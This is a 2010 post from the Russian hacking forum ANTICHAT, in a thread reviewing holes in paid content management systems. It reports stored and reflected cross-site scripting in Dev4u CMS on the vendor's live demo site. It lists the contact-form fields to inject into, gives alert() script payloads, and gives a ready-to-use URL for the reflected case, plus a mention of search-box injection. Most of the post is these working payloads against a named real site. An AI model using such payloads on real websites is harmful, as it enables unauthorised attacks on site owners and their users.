ANTICHAT - Показать сообщение отдельно - Обзор уязвимостей в платных CMS

Тема: Обзор уязвимостей в платных CMS

Показать сообщение отдельно

#60

23.08.2010, 18:42

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Dev4u CMS

Активная XSS

http://www.dev4u.de/cms/online-demo.php?seite_id=199

Вписываем в:

Цитата:

Сообщение от None

E-Mail*
Vorname*
Name*
Firma
Strasse*
PLZ*
Ort*
Telefon*

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]">alert('xss')[/COLOR][/COLOR]

Пассивная XSS

http://www.dev4u.de/cms/faq.php?tag=Programmierkenntnisse">alert(01010)

+xss в поиске

путь: http://www.dev4u.de/sitemap.xml